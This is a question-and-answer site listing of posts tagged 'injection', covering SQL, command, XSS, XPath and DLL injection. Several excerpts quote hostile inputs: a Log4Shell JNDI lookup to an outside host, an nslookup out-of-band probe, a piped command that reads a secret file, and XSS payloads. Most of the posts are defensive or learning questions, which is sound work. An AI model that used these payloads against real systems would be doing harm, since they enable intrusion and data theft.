Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [injection]

inserting malicious content, usually code (like SQL, Javascript) into a vulnerable application. Is used only if there is no more specific injection tag available (see tag wiki)

Filter by
Sorted by
Tagged with
2 votes
1 answer
44 views

sqlmap will not save half dumped data in CSV File?

Is there any way to save half-dumped output in csv file or in table format in sqlmap? Look below image for better understanding. The target is boolean-based blind injection vulnerable. For sure, this ...
Solo's user avatar
  • 41
0 votes
1 answer
47 views

Command Injection in URLs. Are response codes foolproof indicator of true/false positive?

Take this HTTP request as an example. GET /directory/blahblah/ping%20interact.sh Say this request receives any 3xx, 4xx, 5xx HTTP response code. Is it likely or even possible that a backend web server ...
jakechowder's user avatar
1 vote
1 answer
125 views

Library to securely expose query language to end user?

I have a DB that I would like to expose to end users for flexible search through their data. Currently using Elastic, but not tied to that: I can internally transform the data in any way to enable ...
curious-bunny1's user avatar
0 votes
1 answer
122 views

Can a USB stick be made to automatically hack a system?

I am a cybersecurity professional who is interested in researching the field of injectables. Does a device exist, or can be made, that if plugged into a computer would instantly start attacking the ...
Julius Santiago's user avatar
0 votes
0 answers
58 views

CMDi in Juice shop(docker)

Does anyone know how to access the server command line and execute commands remotely in OWASP Juice Shop? Tried to find something with Burp Suite and I did not find any information on the Internet ...
JellySheep's user avatar
0 votes
1 answer
132 views

CRLF in HTTP/2 header value

I am attempting to inject a carriage-return + newline in a HTTP request header value. My understanding is that this is possible with HTTP/2 and HTTP/3. However, when I send a request with Burp I get ...
Sjoerd's user avatar
  • 30.8k
0 votes
1 answer
170 views

ScyllaHide DLL Injection

When I try to perform a DLL injection with ScyllaHide in x32/x64 dbg, then it crashes for some reason, is this a bug? Both with stealthy injection as with normal injection, the program crashes when I ...
Moooz's user avatar
  • 35
2 votes
0 answers
166 views

CSP: Allow inline scripts while blocking javascript: in iframe src

We wan't to prevent attacks comming in from src attribute "javascript:" but still allow lnline script tags. Currently the only option is to add sha-hash's but there are too many inline ...
Chris Gunawardena's user avatar
1 vote
0 answers
107 views

out-of-band data exfiltration Command Injection [closed]

A few days ago I found a vulnerability in a site of scope using the Burp suite scanner with the command nslookup xxx.burpcolaborator.com exploit with the following feature: Issue: OS command injection ...
Deviandorx's user avatar
3 votes
1 answer
344 views

How dangerous is disabling PHPHighRiskMethodsVariables_BODY from the AWS ACLs?

Problem Users in my application are being blocked (by the AWS WAF) from uploading files with certain names. In the specific case I am trying to solve, the problematic string is .* System (.*).*. ...
James Nugent's user avatar
0 votes
0 answers
121 views

How to restore health of an hacked router(fritzbox)?

My fritz!box 5530 has been hacked. I know this because the upload is always very low under 10 mb/s also if my fiber connection would to be 1gb/s|300mb/s. And when you try router reset to factory ...
BlueHatJunior's user avatar
-1 votes
1 answer
186 views

Explain `${jndi:ldap://...}` spam(s)? [duplicate]

Some spammers keep filling each and every form-field with below: ${jndi:ldap://123.tgnndi.dnslog.cn/e} Maybe the $ part is supposed to trigger JQuery. What is this, is it a try to attack? If so, is ...
Top-Master's user avatar
0 votes
0 answers
104 views

OriginalFirstThunk in memory

I understand the point of IAT/IDT/ INT and dynamically loaded DLLs at runtime. The OriginalFirstThunk in the Import Directory table refers to the function names stored (in the case of an ordinal) in ...
Pieter Jansen's user avatar
1 vote
0 answers
150 views

IAT/IDT in memory PE file

Can anyone please explain me this: First, we look at the last value of the Optional Header, Data Directories, the Import Directory RVA value. This value gives us the address of the Import table when ...
Pieter Jansen's user avatar
0 votes
1 answer
837 views

How to do character escaping in PostgreSQL to prevent a SQL injection attack?

I want to prevent SQL injection attacks in a rather abstract application. Therefore I want to escape all user provided input as described here. The other options provided on this page don't fit in my ...
Jan's user avatar
  • 113
2 votes
1 answer
624 views

How does the AV inject their own DLL in each new process?

I know that most of the AV are injecting their own DLL in order to do userland API filtering, in functions such as WriteProcessMemory or CreateRemoteThread. But how can they do that? Because from what ...
Luhko's user avatar
  • 161
1 vote
1 answer
87 views

Validation of input in REST endpoint to prevent script injection?

We have a web service to provide dicom modality worklist operations. We have a security concern about sanitizing the user inputs (especially for attributes like Study Description, Requested Procedure ...
Hemant's user avatar
  • 113
1 vote
0 answers
1k views

How can you perform OS Command Injection when single-quotes are filtered?

While attempting OS Command Injection on a url.com/?ping= parameter, I see that all single quotes ' are being escaped and replaced by \\'. This is problematic because whenever you submit a value to ?...
Blumie's user avatar
  • 11
1 vote
2 answers
794 views

How easy is it to inject malware into websites?

Please let me present you with a hypothetical scenario. A journalist is targeted by hackers. Said journalist is very careful with email attachments and will not click on them. However, surfing the web ...
Jay's user avatar
  • 11
0 votes
0 answers
114 views

xpath injection and doc() function

I'm trying to understand how to use the doc() function of xpath in several ways to carry out xpath injections Lab's query: String xquery = "/root/books/book[contains(title/text(), '" + ...
jagghy's user avatar
  • 11
1 vote
0 answers
90 views

XPath injection remediations?

During a pentest we identified some indications of XPath injection, meaning we were able manipulate the HTTP request parameters with single quotes and logic (i.e. appending and 2=2) to derive various ...
user1880405's user avatar
2 votes
1 answer
199 views

Can an average user protect himself against process injection at some level?

I downloaded a program called Process Monitor from Microsoft Store. I see suspicious IP addresses popping up among my cod.exe processes. Moreover, these suspicious IP addresses are communicating ...
kiec00's user avatar
  • 39
1 vote
2 answers
2k views

Security Implications from Base64 Image

I copy / pasted a data:image/png;Base64 image from a Google search into a Google Slide, before realizing it was a BASE64 image. Is there any possibility that this contains malicious code, or any way ...
Questionstoask's user avatar
0 votes
1 answer
111 views

How secure is using https://*.domain.com as a value in a Content Security Policy?

Let's say I am an organization with all my resources on example.com. I have a web server in the DMZ that hosts a website named app.example.com open to the internet. The CSP for that website is Content-...
Sky's user avatar
  • 1
0 votes
0 answers
67 views

Could a no code module injected to memory phenomenon in the process tree of the steam.exe file be suspicious?

I found a page, which analyzing memory processes (https://analyze.intezer.com/) After the searches, it didn't find anything harmful, but in the detailed analysis I found a module without code, which ...
user avatar
0 votes
1 answer
135 views

Why can I not sql inject this piece of code? [duplicate]

This is the code: $stmt = $db->prepare("SELECT DISTINCT * FROM kurssit WHERE BINARY id=? AND BINARY avain=?"); $stmt->bind_param("is", $kurssi, $avain); // prepare and bind $...
user285206's user avatar
1 vote
1 answer
161 views

Why would you use the command `test` in a php shell injection?

I saw someone doing this in a php shell injection: test | cat /var/backup/secret.txt Why are they using test |? How is that not useless here?
idontknowwhatgg's user avatar
3 votes
0 answers
361 views

What does OWASP mean by max incidence and average incidence rate?

Can someone please explain what is meant by the following analysis provided in the overview section of the OWASP Top 10 A03:2021 – Injection page: Injection slides down to the third position. 94% of ...
TheJulyPlot's user avatar
  • 7,809
0 votes
1 answer
242 views

Can malware override and execute any memory location or it has to be specific?

Rather primitive Malware using Python3 and similar already available software on the victim's machine (which can also be compiled using PyInstaller/pycom if not) has the capability to override the ...
Sir Muffington's user avatar
0 votes
1 answer
296 views

Server Side Template Injection (SSTI): Difference between plaintext context and code context?

I am learning pentesting, currently studying Server Side Template Injection. I understood there are two types of SSTI - plaintext context and code context - but struggle to understand what exactly is ...
Sven's user avatar
  • 125
0 votes
1 answer
120 views

Ways to inject malicious content during a HTTP file transfer

Assume an Apache server (http, no authentication just hosting static files) is running in my local network which is hosting some zip files. Assume User A is requesting a zip file from the Apache ...
patrick jason's user avatar
0 votes
2 answers
454 views

Running PHP commands on my website from a form input

I today found some files created and deleted and edited on my website. I don't know how it is done. But I know it can be done by some PHP Functions like : mkdir('Folder'); file_put_contents();scandir()...
Kashyap Sharma's user avatar
2 votes
2 answers
246 views

Is a user query containing the string "\u0600\u0000bՕR" suspicious/malicious?

Recently, one of my services received a query where the JSON payload contained the string <an-arabic-character>\u0000bՕR. The service handled it gracefully so no real harm was done, but am I ...
blagae's user avatar
  • 131
0 votes
1 answer
240 views

How does this PortSwigger lab's XSS work?

I was doing the following PortSwigger Lab on cross site scripting (XSS). The following payload works perfectly. http://foo?&apos;-alert(1)-&apos; Which is input into the following section of ...
questioner's user avatar
0 votes
1 answer
172 views

Why are MySQL injections more limited than MS-SQL attacks?

I was watching the DEFCON 17: Advanced SQL Injection video here. At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated With MySQL you really only have ...
questioner's user avatar
1 vote
1 answer
6k views

sqlmap is encountering 403 forbidden

I am trying to complete an SQL injection CTF here. I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
questioner's user avatar
0 votes
2 answers
209 views

What are the vulnerabilities of exposing url end point param?

I have a wordpress plugin that helps create an organization chart/tree and then generates a URL where the chart is available to be viewed by the public? Inside the plugin's view in WordPress dashboard....
codiMonster's user avatar
1 vote
2 answers
200 views

Is possible XXE with XSI modify?

I wonder, is possible XXE attack in this case? The data of request is starting with: <InteractionMessage><Header><SenderApplication>VIP3.0</SenderApplication><...
Ugroon's user avatar
  • 11
0 votes
0 answers
158 views

Is it possible to inject code using physical memory access to jailbreak phones?

Is it possible to inject code into RAM using physical access? For example desolder the RAM chips, solder something between the original RAM chip and the phone motherboard, and use that to directly ...
userdatagram's user avatar
1 vote
1 answer
601 views

How to track which php file executed a malware binary

I have a server that seems to be compromised checking the processes running I see an executable that seems to be a mining malware and the hacker uses it to mine litecoin at the address ...
MOHAMMAD RASIM's user avatar
0 votes
1 answer
139 views

Detect http traffic injection

Is there any way to detect injection into unencrypted http traffic, like files, js etc. just by traffic analysis from the client-side?
oneboxxer's user avatar
0 votes
1 answer
567 views

Is character restriction ever a safe mechanism against code injection / better than input sanitisation?

Many services still restrict the special characters allowed in passwords and similar with the argument that it prevents injection attacks. Now, there are many good arguments against this such as ...
Wrzlprmft's user avatar
  • 103
6 votes
2 answers
557 views

Do antivirus programs increase your attack surface and potentially give more power to malware?

When I was a student one of my professors used to say that an antivirus actually increases your attack surface by injecting itself into system processes and let's say opening more doors for ...
Sir Muffington's user avatar
0 votes
1 answer
178 views

Would it be useful from a security perspective to harden an interpreter like Python or NodeJS by removing support for unused features?

When hardening a system you want to remove any features that you do not need. I have been thinking about this concept from the perspective of interpreters like Python, NodeJS, PHP etc. and am ...
Blink's user avatar
  • 3
0 votes
2 answers
811 views

What is the maximum payload injection size

I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar. Most tutorials seem to focus on executing shellcode, that is code which ...
questioner's user avatar
0 votes
1 answer
1k views

How does Chrome 78+ block all methods of DLL injection?

How does Chrome block all methods of code injection past version 78? It even blocks signed DLLs it doesn't have in a static list.
TJCoder's user avatar
  • 11
-1 votes
5 answers
9k views

Is 'Internal Server Error' always a sign that there's a SQL Injection vulnerability in a site?

If so, is trying to exploit through a time-based injection enough to prove there's a vulnerability in said site?
felipebubu's user avatar
1 vote
2 answers
525 views

Weird entry in SQL Server database, is this a result of SQL Injection?

I stumbled upon a case where several database entries were updated. And the update is rather unusual. For example if I have an entry named: Watermelon The updated version is: Watermelon<IMG SRC=&...
spitfire's user avatar
0 votes
1 answer
1k views

Javascript injection bettercap2 over HTTPS

I use bettercap2 http proxy and arp spoof to inject one-line js alert into http pages. It works fine, however what about https? I couldn’t find any working method to inject it without the browser’s ...
Nodes Hariff's user avatar
3 votes
0 answers
240 views

Process Injection and Process Isolation by OS

If the OS is responsible for ensuring that one process cannot access another process memory space, and the point of process isolation is to keep processes separate from one another, then how can a ...
chephato's user avatar

1
2 3 4 5
9